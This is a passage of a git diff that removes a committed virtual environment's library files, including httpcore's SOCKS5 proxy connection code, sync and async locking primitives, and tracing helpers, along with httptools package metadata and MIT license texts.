"Host unreachable", - b"\x05": "Connection refused", - b"\x06": "TTL expired", - b"\x07": "Command not supported", - b"\x08": "Address type not supported", -} - - -def _init_socks5_connection( - stream: NetworkStream, - *, - host: bytes, - port: int, - auth: tuple[bytes, bytes] | None = None, -) -> None: - conn = socksio.socks5.SOCKS5Connection() - - # Auth method request - auth_method = ( - socksio.socks5.SOCKS5AuthMethod.NO_AUTH_REQUIRED - if auth is None - else socksio.socks5.SOCKS5AuthMethod.USERNAME_PASSWORD - ) - conn.send(socksio.socks5.SOCKS5AuthMethodsRequest([auth_method])) - outgoing_bytes = conn.data_to_send() - stream.write(outgoing_bytes) - - # Auth method response - incoming_bytes = stream.read(max_bytes=4096) - response = conn.receive_data(incoming_bytes) - assert isinstance(response, socksio.socks5.SOCKS5AuthReply) - if response.method != auth_method: - requested = AUTH_METHODS.get(auth_method, "UNKNOWN") - responded = AUTH_METHODS.get(response.method, "UNKNOWN") - raise ProxyError( - f"Requested {requested} from proxy server, but got {responded}." - ) - - if response.method == socksio.socks5.SOCKS5AuthMethod.USERNAME_PASSWORD: - # Username/password request - assert auth is not None - username, password = auth - conn.send(socksio.socks5.SOCKS5UsernamePasswordRequest(username, password)) - outgoing_bytes = conn.data_to_send() - stream.write(outgoing_bytes) - - # Username/password response - incoming_bytes = stream.read(max_bytes=4096) - response = conn.receive_data(incoming_bytes) - assert isinstance(response, socksio.socks5.SOCKS5UsernamePasswordReply) - if not response.success: - raise ProxyError("Invalid username/password") - - # Connect request - conn.send( - socksio.socks5.SOCKS5CommandRequest.from_address( - socksio.socks5.SOCKS5Command.CONNECT, (host, port) - ) - ) - outgoing_bytes = conn.data_to_send() - stream.write(outgoing_bytes) - - # Connect response - incoming_bytes = stream.read(max_bytes=4096) - response = conn.receive_data(incoming_bytes) - assert isinstance(response, socksio.socks5.SOCKS5Reply) - if response.reply_code != socksio.socks5.SOCKS5ReplyCode.SUCCEEDED: - reply_code = REPLY_CODES.get(response.reply_code, "UNKOWN") - raise ProxyError(f"Proxy Server could not connect: {reply_code}.") - - -class SOCKSProxy(ConnectionPool): # pragma: nocover - """ - A connection pool that sends requests via an HTTP proxy. - """ - - def __init__( - self, - proxy_url: URL | bytes | str, - proxy_auth: tuple[bytes | str, bytes | str] | None = None, - ssl_context: ssl.SSLContext | None = None, - max_connections: int | None = 10, - max_keepalive_connections: int | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - retries: int = 0, - network_backend: NetworkBackend | None = None, - ) -> None: - """ - A connection pool for making HTTP requests. - - Parameters: - proxy_url: The URL to use when connecting to the proxy server. - For example `"http://127.0.0.1:8080/"`. - ssl_context: An SSL context to use for verifying connections. - If not specified, the default `httpcore.default_ssl_context()` - will be used. - max_connections: The maximum number of concurrent HTTP connections that - the pool should allow. Any attempt to send a request on a pool that - would exceed this amount will block until a connection is available. - max_keepalive_connections: The maximum number of idle HTTP connections - that will be maintained in the pool. - keepalive_expiry: The duration in seconds that an idle HTTP connection - may be maintained for before being expired from the pool. - http1: A boolean indicating if HTTP/1.1 requests should be supported - by the connection pool. Defaults to True. - http2: A boolean indicating if HTTP/2 requests should be supported by - the connection pool. Defaults to False. - retries: The maximum number of retries when trying to establish - a connection. - local_address: Local address to connect from. Can also be used to - connect using a particular address family. Using - `local_address="0.0.0.0"` will connect using an `AF_INET` address - (IPv4), while using `local_address="::"` will connect using an - `AF_INET6` address (IPv6). - uds: Path to a Unix Domain Socket to use instead of TCP sockets. - network_backend: A backend instance to use for handling network I/O. - """ - super().__init__( - ssl_context=ssl_context, - max_connections=max_connections, - max_keepalive_connections=max_keepalive_connections, - keepalive_expiry=keepalive_expiry, - http1=http1, - http2=http2, - network_backend=network_backend, - retries=retries, - ) - self._ssl_context = ssl_context - self._proxy_url = enforce_url(proxy_url, name="proxy_url") - if proxy_auth is not None: - username, password = proxy_auth - username_bytes = enforce_bytes(username, name="proxy_auth") - password_bytes = enforce_bytes(password, name="proxy_auth") - self._proxy_auth: tuple[bytes, bytes] | None = ( - username_bytes, - password_bytes, - ) - else: - self._proxy_auth = None - - def create_connection(self, origin: Origin) -> ConnectionInterface: - return Socks5Connection( - proxy_origin=self._proxy_url.origin, - remote_origin=origin, - proxy_auth=self._proxy_auth, - ssl_context=self._ssl_context, - keepalive_expiry=self._keepalive_expiry, - http1=self._http1, - http2=self._http2, - network_backend=self._network_backend, - ) - - -class Socks5Connection(ConnectionInterface): - def __init__( - self, - proxy_origin: Origin, - remote_origin: Origin, - proxy_auth: tuple[bytes, bytes] | None = None, - ssl_context: ssl.SSLContext | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - network_backend: NetworkBackend | None = None, - ) -> None: - self._proxy_origin = proxy_origin - self._remote_origin = remote_origin - self._proxy_auth = proxy_auth - self._ssl_context = ssl_context - self._keepalive_expiry = keepalive_expiry - self._http1 = http1 - self._http2 = http2 - - self._network_backend: NetworkBackend = ( - SyncBackend() if network_backend is None else network_backend - ) - self._connect_lock = Lock() - self._connection: ConnectionInterface | None = None - self._connect_failed = False - - def handle_request(self, request: Request) -> Response: - timeouts = request.extensions.get("timeout", {}) - sni_hostname = request.extensions.get("sni_hostname", None) - timeout = timeouts.get("connect", None) - - with self._connect_lock: - if self._connection is None: - try: - # Connect to the proxy - kwargs = { - "host": self._proxy_origin.host.decode("ascii"), - "port": self._proxy_origin.port, - "timeout": timeout, - } - with Trace("connect_tcp", logger, request, kwargs) as trace: - stream = self._network_backend.connect_tcp(**kwargs) - trace.return_value = stream - - # Connect to the remote host using socks5 - kwargs = { - "stream": stream, - "host": self._remote_origin.host.decode("ascii"), - "port": self._remote_origin.port, - "auth": self._proxy_auth, - } - with Trace( - "setup_socks5_connection", logger, request, kwargs - ) as trace: - _init_socks5_connection(**kwargs) - trace.return_value = stream - - # Upgrade the stream to SSL - if self._remote_origin.scheme == b"https": - ssl_context = ( - default_ssl_context() - if self._ssl_context is None - else self._ssl_context - ) - alpn_protocols = ( - ["http/1.1", "h2"] if self._http2 else ["http/1.1"] - ) - ssl_context.set_alpn_protocols(alpn_protocols) - - kwargs = { - "ssl_context": ssl_context, - "server_hostname": sni_hostname - or self._remote_origin.host.decode("ascii"), - "timeout": timeout, - } - with Trace("start_tls", logger, request, kwargs) as trace: - stream = stream.start_tls(**kwargs) - trace.return_value = stream - - # Determine if we should be using HTTP/1.1 or HTTP/2 - ssl_object = stream.get_extra_info("ssl_object") - http2_negotiated = ( - ssl_object is not None - and ssl_object.selected_alpn_protocol() == "h2" - ) - - # Create the HTTP/1.1 or HTTP/2 connection - if http2_negotiated or ( - self._http2 and not self._http1 - ): # pragma: nocover - from .http2 import HTTP2Connection - - self._connection = HTTP2Connection( - origin=self._remote_origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - else: - self._connection = HTTP11Connection( - origin=self._remote_origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - except Exception as exc: - self._connect_failed = True - raise exc - elif not self._connection.is_available(): # pragma: nocover - raise ConnectionNotAvailable() - - return self._connection.handle_request(request) - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._remote_origin - - def close(self) -> None: - if self._connection is not None: - self._connection.close() - - def is_available(self) -> bool: - if self._connection is None: # pragma: nocover - # If HTTP/2 support is enabled, and the resulting connection could - # end up as HTTP/2 then we should indicate the connection as being - # available to service multiple requests. - return ( - self._http2 - and (self._remote_origin.scheme == b"https" or not self._http1) - and not self._connect_failed - ) - return self._connection.is_available() - - def has_expired(self) -> bool: - if self._connection is None: # pragma: nocover - return self._connect_failed - return self._connection.has_expired() - - def is_idle(self) -> bool: - if self._connection is None: # pragma: nocover - return self._connect_failed - return self._connection.is_idle() - - def is_closed(self) -> bool: - if self._connection is None: # pragma: nocover - return self._connect_failed - return self._connection.is_closed() - - def info(self) -> str: - if self._connection is None: # pragma: nocover - return "CONNECTION FAILED" if self._connect_failed else "CONNECTING" - return self._connection.info() - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{self.info()}]>" diff --git a/venv/Lib/site-packages/httpcore/_synchronization.py b/venv/Lib/site-packages/httpcore/_synchronization.py deleted file mode 100644 index 2ecc9e9c363e2f16c4f934cf41cf871826d6a495..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_synchronization.py +++ /dev/null @@ -1,318 +0,0 @@ -from __future__ import annotations - -import threading -import types - -from ._exceptions import ExceptionMapping, PoolTimeout, map_exceptions - -# Our async synchronization primatives use either 'anyio' or 'trio' depending -# on if they're running under asyncio or trio. - -try: - import trio -except (ImportError, NotImplementedError): # pragma: nocover - trio = None # type: ignore - -try: - import anyio -except ImportError: # pragma: nocover - anyio = None # type: ignore - - -def current_async_library() -> str: - # Determine if we're running under trio or asyncio. - # See https://sniffio.readthedocs.io/en/latest/ - try: - import sniffio - except ImportError: # pragma: nocover - environment = "asyncio" - else: - environment = sniffio.current_async_library() - - if environment not in ("asyncio", "trio"): # pragma: nocover - raise RuntimeError("Running under an unsupported async environment.") - - if environment == "asyncio" and anyio is None: # pragma: nocover - raise RuntimeError( - "Running with asyncio requires installation of 'httpcore[asyncio]'." - ) - - if environment == "trio" and trio is None: # pragma: nocover - raise RuntimeError( - "Running with trio requires installation of 'httpcore[trio]'." - ) - - return environment - - -class AsyncLock: - """ - This is a standard lock. - - In the sync case `Lock` provides thread locking. - In the async case `AsyncLock` provides async locking. - """ - - def __init__(self) -> None: - self._backend = "" - - def setup(self) -> None: - """ - Detect if we're running under 'asyncio' or 'trio' and create - a lock with the correct implementation. - """ - self._backend = current_async_library() - if self._backend == "trio": - self._trio_lock = trio.Lock() - elif self._backend == "asyncio": - self._anyio_lock = anyio.Lock() - - async def __aenter__(self) -> AsyncLock: - if not self._backend: - self.setup() - - if self._backend == "trio": - await self._trio_lock.acquire() - elif self._backend == "asyncio": - await self._anyio_lock.acquire() - - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - if self._backend == "trio": - self._trio_lock.release() - elif self._backend == "asyncio": - self._anyio_lock.release() - - -class AsyncThreadLock: - """ - This is a threading-only lock for no-I/O contexts. - - In the sync case `ThreadLock` provides thread locking. - In the async case `AsyncThreadLock` is a no-op. - """ - - def __enter__(self) -> AsyncThreadLock: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - pass - - -class AsyncEvent: - def __init__(self) -> None: - self._backend = "" - - def setup(self) -> None: - """ - Detect if we're running under 'asyncio' or 'trio' and create - a lock with the correct implementation. - """ - self._backend = current_async_library() - if self._backend == "trio": - self._trio_event = trio.Event() - elif self._backend == "asyncio": - self._anyio_event = anyio.Event() - - def set(self) -> None: - if not self._backend: - self.setup() - - if self._backend == "trio": - self._trio_event.set() - elif self._backend == "asyncio": - self._anyio_event.set() - - async def wait(self, timeout: float | None = None) -> None: - if not self._backend: - self.setup() - - if self._backend == "trio": - trio_exc_map: ExceptionMapping = {trio.TooSlowError: PoolTimeout} - timeout_or_inf = float("inf") if timeout is None else timeout - with map_exceptions(trio_exc_map): - with trio.fail_after(timeout_or_inf): - await self._trio_event.wait() - elif self._backend == "asyncio": - anyio_exc_map: ExceptionMapping = {TimeoutError: PoolTimeout} - with map_exceptions(anyio_exc_map): - with anyio.fail_after(timeout): - await self._anyio_event.wait() - - -class AsyncSemaphore: - def __init__(self, bound: int) -> None: - self._bound = bound - self._backend = "" - - def setup(self) -> None: - """ - Detect if we're running under 'asyncio' or 'trio' and create - a semaphore with the correct implementation. - """ - self._backend = current_async_library() - if self._backend == "trio": - self._trio_semaphore = trio.Semaphore( - initial_value=self._bound, max_value=self._bound - ) - elif self._backend == "asyncio": - self._anyio_semaphore = anyio.Semaphore( - initial_value=self._bound, max_value=self._bound - ) - - async def acquire(self) -> None: - if not self._backend: - self.setup() - - if self._backend == "trio": - await self._trio_semaphore.acquire() - elif self._backend == "asyncio": - await self._anyio_semaphore.acquire() - - async def release(self) -> None: - if self._backend == "trio": - self._trio_semaphore.release() - elif self._backend == "asyncio": - self._anyio_semaphore.release() - - -class AsyncShieldCancellation: - # For certain portions of our codebase where we're dealing with - # closing connections during exception handling we want to shield - # the operation from being cancelled. - # - # with AsyncShieldCancellation(): - # ... # clean-up operations, shielded from cancellation. - - def __init__(self) -> None: - """ - Detect if we're running under 'asyncio' or 'trio' and create - a shielded scope with the correct implementation. - """ - self._backend = current_async_library() - - if self._backend == "trio": - self._trio_shield = trio.CancelScope(shield=True) - elif self._backend == "asyncio": - self._anyio_shield = anyio.CancelScope(shield=True) - - def __enter__(self) -> AsyncShieldCancellation: - if self._backend == "trio": - self._trio_shield.__enter__() - elif self._backend == "asyncio": - self._anyio_shield.__enter__() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - if self._backend == "trio": - self._trio_shield.__exit__(exc_type, exc_value, traceback) - elif self._backend == "asyncio": - self._anyio_shield.__exit__(exc_type, exc_value, traceback) - - -# Our thread-based synchronization primitives... - - -class Lock: - """ - This is a standard lock. - - In the sync case `Lock` provides thread locking. - In the async case `AsyncLock` provides async locking. - """ - - def __init__(self) -> None: - self._lock = threading.Lock() - - def __enter__(self) -> Lock: - self._lock.acquire() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - self._lock.release() - - -class ThreadLock: - """ - This is a threading-only lock for no-I/O contexts. - - In the sync case `ThreadLock` provides thread locking. - In the async case `AsyncThreadLock` is a no-op. - """ - - def __init__(self) -> None: - self._lock = threading.Lock() - - def __enter__(self) -> ThreadLock: - self._lock.acquire() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - self._lock.release() - - -class Event: - def __init__(self) -> None: - self._event = threading.Event() - - def set(self) -> None: - self._event.set() - - def wait(self, timeout: float | None = None) -> None: - if timeout == float("inf"): # pragma: no cover - timeout = None - if not self._event.wait(timeout=timeout): - raise PoolTimeout() # pragma: nocover - - -class Semaphore: - def __init__(self, bound: int) -> None: - self._semaphore = threading.Semaphore(value=bound) - - def acquire(self) -> None: - self._semaphore.acquire() - - def release(self) -> None: - self._semaphore.release() - - -class ShieldCancellation: - # Thread-synchronous codebases don't support cancellation semantics. - # We have this class because we need to mirror the async and sync - # cases within our package, but it's just a no-op. - def __enter__(self) -> ShieldCancellation: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - pass diff --git a/venv/Lib/site-packages/httpcore/_trace.py b/venv/Lib/site-packages/httpcore/_trace.py deleted file mode 100644 index 5f1cd7c47829ce17dbcf651ab56b4ffdce04a485..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_trace.py +++ /dev/null @@ -1,107 +0,0 @@ -from __future__ import annotations - -import inspect -import logging -import types -import typing - -from ._models import Request - - -class Trace: - def __init__( - self, - name: str, - logger: logging.Logger, - request: Request | None = None, - kwargs: dict[str, typing.Any] | None = None, - ) -> None: - self.name = name - self.logger = logger - self.trace_extension = ( - None if request is None else request.extensions.get("trace") - ) - self.debug = self.logger.isEnabledFor(logging.DEBUG) - self.kwargs = kwargs or {} - self.return_value: typing.Any = None - self.should_trace = self.debug or self.trace_extension is not None - self.prefix = self.logger.name.split(".")[-1] - - def trace(self, name: str, info: dict[str, typing.Any]) -> None: - if self.trace_extension is not None: - prefix_and_name = f"{self.prefix}.{name}" - ret = self.trace_extension(prefix_and_name, info) - if inspect.iscoroutine(ret): # pragma: no cover - raise TypeError( - "If you are using a synchronous interface, " - "the callback of the `trace` extension should " - "be a normal function instead of an asynchronous function." - ) - - if self.debug: - if not info or "return_value" in info and info["return_value"] is None: - message = name - else: - args = " ".join([f"{key}={value!r}" for key, value in info.items()]) - message = f"{name} {args}" - self.logger.debug(message) - - def __enter__(self) -> Trace: - if self.should_trace: - info = self.kwargs - self.trace(f"{self.name}.started", info) - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - if self.should_trace: - if exc_value is None: - info = {"return_value": self.return_value} - self.trace(f"{self.name}.complete", info) - else: - info = {"exception": exc_value} - self.trace(f"{self.name}.failed", info) - - async def atrace(self, name: str, info: dict[str, typing.Any]) -> None: - if self.trace_extension is not None: - prefix_and_name = f"{self.prefix}.{name}" - coro = self.trace_extension(prefix_and_name, info) - if not inspect.iscoroutine(coro): # pragma: no cover - raise TypeError( - "If you're using an asynchronous interface, " - "the callback of the `trace` extension should " - "be an asynchronous function rather than a normal function." - ) - await coro - - if self.debug: - if not info or "return_value" in info and info["return_value"] is None: - message = name - else: - args = " ".join([f"{key}={value!r}" for key, value in info.items()]) - message = f"{name} {args}" - self.logger.debug(message) - - async def __aenter__(self) -> Trace: - if self.should_trace: - info = self.kwargs - await self.atrace(f"{self.name}.started", info) - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - if self.should_trace: - if exc_value is None: - info = {"return_value": self.return_value} - await self.atrace(f"{self.name}.complete", info) - else: - info = {"exception": exc_value} - await self.atrace(f"{self.name}.failed", info) diff --git a/venv/Lib/site-packages/httpcore/_utils.py b/venv/Lib/site-packages/httpcore/_utils.py deleted file mode 100644 index c44ff93cb2f572afc6e679308024b744b65c3b0a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_utils.py +++ /dev/null @@ -1,37 +0,0 @@ -from __future__ import annotations - -import select -import socket -import sys - - -def is_socket_readable(sock: socket.socket | None) -> bool: - """ - Return whether a socket, as identifed by its file descriptor, is readable. - "A socket is readable" means that the read buffer isn't empty, i.e. that calling - .recv() on it would immediately return some data. - """ - # NOTE: we want check for readability without actually attempting to read, because - # we don't want to block forever if it's not readable. - - # In the case that the socket no longer exists, or cannot return a file - # descriptor, we treat it as being readable, as if it the next read operation - # on it is ready to return the terminating `b""`. - sock_fd = None if sock is None else sock.fileno() - if sock_fd is None or sock_fd < 0: # pragma: nocover - return True - - # The implementation below was stolen from: - # https://github.com/python-trio/trio/blob/20ee2b1b7376db637435d80e266212a35837ddcc/trio/_socket.py#L471-L478 - # See also: https://github.com/encode/httpcore/pull/193#issuecomment-703129316 - - # Use select.select on Windows, and when poll is unavailable and select.poll - # everywhere else. (E.g. When eventlet is in use. See #327) - if ( - sys.platform == "win32" or getattr(select, "poll", None) is None - ): # pragma: nocover - rready, _, _ = select.select([sock_fd], [], [], 0) - return bool(rready) - p = select.poll() - p.register(sock_fd, select.POLLIN) - return bool(p.poll(0)) diff --git a/venv/Lib/site-packages/httpcore/py.typed b/venv/Lib/site-packages/httpcore/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/httptools-0.8.0.dist-info/INSTALLER b/venv/Lib/site-packages/httptools-0.8.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools-0.8.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/httptools-0.8.0.dist-info/METADATA b/venv/Lib/site-packages/httptools-0.8.0.dist-info/METADATA deleted file mode 100644 index 1e89d3eccd40ddfee40de7d75d9ba6d756676b29..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools-0.8.0.dist-info/METADATA +++ /dev/null @@ -1,131 +0,0 @@ -Metadata-Version: 2.4 -Name: httptools -Version: 0.8.0 -Summary: A collection of framework independent HTTP protocol utils. -Author-email: Yury Selivanov -License-Expression: MIT -Project-URL: Homepage, https://github.com/MagicStack/httptools -Platform: macOS -Platform: POSIX -Platform: Windows -Classifier: Intended Audience :: Developers -Classifier: Programming Language :: Python :: 3 -Classifier: Operating System :: POSIX -Classifier: Operating System :: MacOS :: MacOS X -Classifier: Environment :: Web Environment -Classifier: Development Status :: 5 - Production/Stable -Requires-Python: >=3.9 -Description-Content-Type: text/markdown -License-File: LICENSE -License-File: vendor/http-parser/LICENSE-MIT -License-File: vendor/llhttp/LICENSE -Dynamic: license-file -Dynamic: platform - -![Tests](https://github.com/MagicStack/httptools/workflows/Tests/badge.svg) - -httptools is a Python binding for the nodejs HTTP parser. - -The package is available on PyPI: `pip install httptools`. - - -# APIs - -httptools contains two classes `httptools.HttpRequestParser`, -`httptools.HttpResponseParser` (fulfilled through -[llhttp](https://github.com/nodejs/llhttp)) and a function for -parsing URLs `httptools.parse_url` (through -[http-parse](https://github.com/nodejs/http-parser) for now). -See unittests for examples. - - -```python - -class HttpRequestParser: - - def __init__(self, protocol): - """HttpRequestParser - - protocol -- a Python object with the following methods - (all optional): - - - on_message_begin() - - on_url(url: bytes) - - on_header(name: bytes, value: bytes) - - on_headers_complete() - - on_body(body: bytes) - - on_message_complete() - - on_chunk_header() - - on_chunk_complete() - - on_status(status: bytes) - """ - - def get_http_version(self) -> str: - """Return an HTTP protocol version.""" - - def should_keep_alive(self) -> bool: - """Return ``True`` if keep-alive mode is preferred.""" - - def should_upgrade(self) -> bool: - """Return ``True`` if the parsed request is a valid Upgrade request. - The method exposes a flag set just before on_headers_complete. - Calling this method earlier will only yield `False`. - """ - - def feed_data(self, data: bytes): - """Feed data to the parser. - - Will eventually trigger callbacks on the ``protocol`` - object. - - On HTTP upgrade, this method will raise an - ``HttpParserUpgrade`` exception, with its sole argument - set to the offset of the non-HTTP data in ``data``. - """ - - def get_method(self) -> bytes: - """Return HTTP request method (GET, HEAD, etc)""" - - -class HttpResponseParser: - - """Has all methods except ``get_method()`` that - HttpRequestParser has.""" - - def get_status_code(self) -> int: - """Return the status code of the HTTP response""" - - -def parse_url(url: bytes): - """Parse URL strings into a structured Python object. - - Returns an instance of ``httptools.URL`` class with the - following attributes: - - - schema: bytes - - host: bytes - - port: int - - path: bytes - - query: bytes - - fragment: bytes - - userinfo: bytes - """ -``` - - -# Development - -1. Clone this repository with - `git clone --recursive git@github.com:MagicStack/httptools.git` - -2. Create a virtual environment with Python 3: - `python3 -m venv envname` - -3. Activate the environment with `source envname/bin/activate` - -4. Run `make` and `make test`. - - -# License - -MIT. diff --git a/venv/Lib/site-packages/httptools-0.8.0.dist-info/RECORD b/venv/Lib/site-packages/httptools-0.8.0.dist-info/RECORD deleted file mode 100644 index c71ab498aa8499728d5aacc8cf3dcea7efe7a847..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools-0.8.0.dist-info/RECORD +++ /dev/null @@ -1,28 +0,0 @@ -httptools-0.8.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -httptools-0.8.0.dist-info/METADATA,sha256=4rBEKetR3NrzjzwCpmMX5YI0eTFD7h6tybgZiCEEAOY,3663 -httptools-0.8.0.dist-info/RECORD,, -httptools-0.8.0.dist-info/WHEEL,sha256=jhxrRP3tdEfm7toB1X7dl5x6f0bu6Tve2cWwIdkbL8U,101 -httptools-0.8.0.dist-info/licenses/LICENSE,sha256=HAKLBZ16WOFMzaOMq87WmMWR_mFP--T3IUMERuhsjWk,1114 -httptools-0.8.0.dist-info/licenses/vendor/http-parser/LICENSE-MIT,sha256=XNG2gsDMusDLMbhqmhEEw-LnsTd6KCuBadJpS0ANt8I,1096 -httptools-0.8.0.dist-info/licenses/vendor/llhttp/LICENSE,sha256=J5AS4CoQrP1Zo_LY8TpJczJTXYccKyfImYiYWwajpDg,1091 -httptools-0.8.0.dist-info/top_level.txt,sha256=APjJKTbZcj0OQ4fdgf2eTCk82nK1n2BFXOD7ky41MPY,10 -httptools/__init__.py,sha256=4jrSwXhVO8VMsFde5pRFIRc9IZgT7IqtRHlMJtc1jJw,759 -httptools/__pycache__/__init__.cpython-314.pyc,, -httptools/__pycache__/_version.cpython-314.pyc,, -httptools/_version.py,sha256=N1JaBh8KG5nLIetvXAKqMVo3dslEx-oJoHf65BywhrU,588 -httptools/parser/__init__.py,sha256=XounAcwcwAKDNLWlEdcPv5EKAgMXgpXV7o7A0-twbp8,704 -httptools/parser/__pycache__/__init__.cpython-314.pyc,, -httptools/parser/__pycache__/errors.cpython-314.pyc,, -httptools/parser/__pycache__/protocol.cpython-314.pyc,, -httptools/parser/cparser.pxd,sha256=XOczyt3PFtYc1r-GVKecEkN5zvBD78NXfd2JhyKOKBg,5144 -httptools/parser/errors.py,sha256=fQeEGiZ6AQH7SIa-7uzMs5QggoXr0A8YBPVHmafSw5Q,596 -httptools/parser/parser.cp314-win_amd64.pyd,sha256=p-6-T7xEtP66_XUarE7rugI_jRmYkjXvnIajCLnBA1Q,126464 -httptools/parser/parser.pyi,sha256=ZRhM6dEoqyJNTdMfgw9TVbkUOQCgkgVBlA3bfApV3dE,2215 -httptools/parser/parser.pyx,sha256=jgDH58PbHrXpT4wGDptP02tGsceOo9qHYSJBdpK5ZEs,15576 -httptools/parser/protocol.py,sha256=_NTcrPAY9tFe4tE--Noa9-mEGc8aBnWamFkPDGGKNiU,601 -httptools/parser/python.pxd,sha256=-pIXNLe1u3u3X51ORUUoHRBMsntzRlQa3z2iBqljTHU,144 -httptools/parser/url_cparser.pxd,sha256=rvPJV7S96tTqKMT0Bk4jHgMy2U0rNY5_NsPa7KG5lio,810 -httptools/parser/url_parser.cp314-win_amd64.pyd,sha256=Z1LWfl4_wfvrqtEXse4vMLdP4GSKFvEAuSfiJhiGl3s,52224 -httptools/parser/url_parser.pyi,sha256=hu_X-VBNWIoxf6kOnF0B7Cju0n1VdPwxdkY-Jr4vPRM,305 -httptools/parser/url_parser.pyx,sha256=jzmxvNHzzKTyEgzQZwtx_hhjPXPoENkri-08zwXTkCA,4353 -httptools/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/venv/Lib/site-packages/httptools-0.8.0.dist-info/WHEEL b/venv/Lib/site-packages/httptools-0.8.0.dist-info/WHEEL deleted file mode 100644 index a2596f35678bd8c16829de6f09aac682f013ad1f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools-0.8.0.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (82.0.1) -Root-Is-Purelib: false -Tag: cp314-cp314-win_amd64 - diff --git a/venv/Lib/site-packages/httptools-0.8.0.dist-info/licenses/LICENSE b/venv/Lib/site-packages/httptools-0.8.0.dist-info/licenses/LICENSE deleted file mode 100644 index 0fa5cade587fa42a51a4bfe48e85168b97da6870..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools-0.8.0.dist-info/licenses/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License - -Copyright (c) 2015 MagicStack Inc. http://magic.io - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/venv/Lib/site-packages/httptools-0.8.0.dist-info/licenses/vendor/http-parser/LICENSE-MIT b/venv/Lib/site-packages/httptools-0.8.0.dist-info/licenses/vendor/http-parser/LICENSE-MIT deleted file mode 100644 index 9fd5ade4fe0d141694d740cbaed9b843165ea231..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools-0.8.0.dist-info/licenses/vendor/http-parser/LICENSE-MIT +++ /dev/null @@ -1,19 +0,0 @@ -Copyright Joyent, Inc. and other Node contributors. - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to -deal in the Software without restriction, including without limitation the -rights to use, copy, modify, merge, publish, distribute, sublicense, and/or -sell copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS -IN THE SOFTWARE. diff --git a/venv/Lib/site-packages/httptools-0.8.0.dist-info/licenses/vendor/llhttp/LICENSE 